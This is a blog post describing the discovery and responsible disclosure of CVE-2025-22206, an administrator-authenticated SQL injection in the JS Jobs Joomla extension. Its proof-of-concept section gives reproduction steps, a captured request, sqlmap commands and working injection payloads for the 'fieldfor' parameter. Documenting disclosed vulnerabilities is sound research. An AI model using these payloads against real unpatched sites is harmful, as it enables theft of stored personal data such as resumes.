Obtaining My First CVE ID: CVE-2025-22206
I set myself a personal goal for 2025. My goal was to conduct security research on a web application to discover an unknown vulnerability to then report my finding to the developer and have a CVE ID assigned to my discovery by a relevant CVE Numbering Authority (CNA).
Summary
During my research I discovered an SQL injection vulnerability in the JS Jobs extension versions 1.1.5-1.4.2 for Joomla that allows authenticated attackers (administrator) to execute arbitrary SQL commands via the 'fieldfor' parameter in the GDPR Field feature. This vulnerability is tracked as CVE-2025-22206.

Introduction
The initial struggle to my research was knowing what type of vulnerabilities to look for and what kind of applications to target.
After reading the threat intelligence report by Group-IB on ResumeLooters, it gave me the idea to look for both SQLi and XSS as threat actors are evidently still actively hunting and exploiting these vulnerabilities in the wild to steal and sell data.
To start my research, I set up a Docker lab environment. I installed the latest version of Joomla locally, installed Burp Suite, and downloaded SQLMap.
The report also highlighted that the threat actors were actively targeting employment websites and retail companies. This gave me the idea to target the jobs & recruitment category of Joomla extensions.
JS Jobs (Joomla)
After looking through various extensions, JS Jobs stood out to me as it appeared to be feature-rich, had a lot of positive reviews from its users, and out of all the job & recruitment extensions, JS Jobs (Joomla) was the only one that was free to download.
What is the JS Jobs (Joomla) extension? As it says on the Joomla website, JS Jobs (developed by Joomsky) is a job board extension for any business, industry body, or staffing company wishing to establish an online presence. JS Jobs allows you to run your own, unique job classifieds service where you or an employer can advertise jobs and job seekers can upload their resumes (see Figure 2).

Proof of Concept
The penetration testing process for discovering this vulnerability started with reading the application's documentation, using Burp Suite to capture HTTP requests, and learning how to use the application.
After testing various parameters and input fields with different SQLi and XSS payloads, I discovered that the GDPR Fields 'fieldfor' parameter failed to properly sanitise user-supplied input making it vulnerable to SQLi.
To exploit this vulnerability, log in as the site administrator and go to 'Dashboard >> GDPR Fields >> + Add New Field >> Add Fields >> Field Title: test >> Field Text: test >> Save Fields' (see Figure 3).

Then capture the Save Fields HTTP request with Burp Suite and save the request to a file (req.txt). Then run SQLMap through the file to exploit the SQLi vulnerability (see below).
python3 sqlmap.py -r req.txt -p fieldfor --dbms=mysql --batch --dbs
HTTP Request
POST /administrator/index.php HTTP/1.1
Host: localhost:8080
Content-Length: 364
Cache-Control: max-age=0
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Accept-Language: en-GB,en;q=0.9
Origin: http://localhost:8080
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/administrator/index.php
Accept-Encoding: gzip, deflate, br
Cookie: osColorScheme=dark; atumSidebarState=open; jsst_collapse_admin_menu=1; a3030abf7606e950783a31b16179a889=1c61b4c6f83b5569f9484c6888412100; f06339f02055c32957cf8cda32f8587f=48b5f4615da4721440ffe8ec49d08347
Connection: keep-alive
check=89cb1c0cc02cf810832f5e4c6c7b7386&fieldtitle=test&termsandconditions_text=test&termsandconditions_linktype=0&termsandconditions_link=&id=&task=gdpr.savegdprfield&option=com_jsjobs&userfieldtype=termsandconditions&isuserfield=1&fieldfor=14&published=1&required=1&isvisitorpublished=1&ordering=&created=&submit_app=Save+Fields&89cb1c0cc02cf810832f5e4c6c7b7386=1
SQLi Exploit
ubuntu@host:~/tools$ python3 sqlmap-dev/sqlmap.py -r ~/test/req.txt --batch --dbs
___
__H__
___ ___[']_____ ___ ___ {1.9.1.2#dev}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
---
Parameter: fieldfor (POST)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: check=891b79eeac944c244b6331618aa0dac0&fieldtitle=test&termsandconditions_text=test&termsandconditions_linktype=0&termsandconditions_link=&id=&task=gdpr.savegdprfield&option=com_jsjobs&userfieldtype=termsandconditions&isuserfield=1&fieldfor=(SELECT (CASE WHEN (7446=7446) THEN 14 ELSE (SELECT 6203 UNION SELECT 9943) END))&published=1&required=1&isvisitorpublished=1&ordering=&created=&submit_app=Save Fields&891b79eeac944c244b6331618aa0dac0=1
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: check=891b79eeac944c244b6331618aa0dac0&fieldtitle=test&termsandconditions_text=test&termsandconditions_linktype=0&termsandconditions_link=&id=&task=gdpr.savegdprfield&option=com_jsjobs&userfieldtype=termsandconditions&isuserfield=1&fieldfor=14 AND GTID_SUBSET(CONCAT(0x71786a6271,(SELECT (ELT(6091=6091,1))),0x716a766b71),6091)&published=1&required=1&isvisitorpublished=1&ordering=&created=&submit_app=Save Fields&891b79eeac944c244b6331618aa0dac0=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: check=891b79eeac944c244b6331618aa0dac0&fieldtitle=test&termsandconditions_text=test&termsandconditions_linktype=0&termsandconditions_link=&id=&task=gdpr.savegdprfield&option=com_jsjobs&userfieldtype=termsandconditions&isuserfield=1&fieldfor=14 AND (SELECT 7659 FROM (SELECT(SLEEP(5)))kQDv)&published=1&required=1&isvisitorpublished=1&ordering=&created=&submit_app=Save Fields&891b79eeac944c244b6331618aa0dac0=1
---
available databases [3]:
[*] information_schema
[*] joomla_db
[*] performance_schema
Exploit Demo
See the following video where I demonstrate how to exploit this vulnerability (see video below).
Exploit demo
Disclosure
After discovering the SQLi vulnerability in the JS Jobs (Joomla) extension and ensuring I could reproduce the exploit reliably, I informed the developer via their website of the discovery (28-01-2025). Within less than a day, they got back to me to let me know that they would be fixing the issue (see Figure 4).

After a few days, the developers informed me (see Figure 5) that they released version 1.4.3 on 31-01-2025 (see Figure 7), which fixes the SQLi vulnerability.

Once the developers confirmed the vulnerability had been patched, I re-tested the 'fieldfor' parameter using the below SQLMap command confirming the vulnerability had been patched (see Figure 6).
python3 ~/tools/sqlmap-dev/sqlmap.py -r /tmp/req.txt --batch -p fieldfor --dbms=mysql --level 5 --risk 3


Requesting CVE ID
With the vulnerability now patched, I contacted the Joomla Security Strike Team (JSST) to ask for more information on how to request a CVE ID (see Figure 8).

Once confirmed, the Joomla Security Strike Team assigned (see Figure 9) my vulnerability discovery a reserved CVE ID of CVE-2025-22206 (see Figure 10).


Finally, after Joomla confirmed with the developer that the vulnerability had been fixed and a version range was provided by the developer, CVE-2025-22206 was finally published (see Figure 11)!

Conclusion
The SQL injection vulnerability was first publicly reported by Rain Forest Puppy on Phrack Magazine in Volume 8, Issue 54, Dec 25th, 1998, article 08 of 12. Despite SQLi being an almost 30-year-old vulnerability, many web applications still remain vulnerable, as evidenced in this blog post.
While this vulnerability (SQLi) requires administrator privileges to exploit, if an attacker is able to compromise an administrator account, they would have the ability to dump the entire database, including the resumes that were uploaded by job seekers.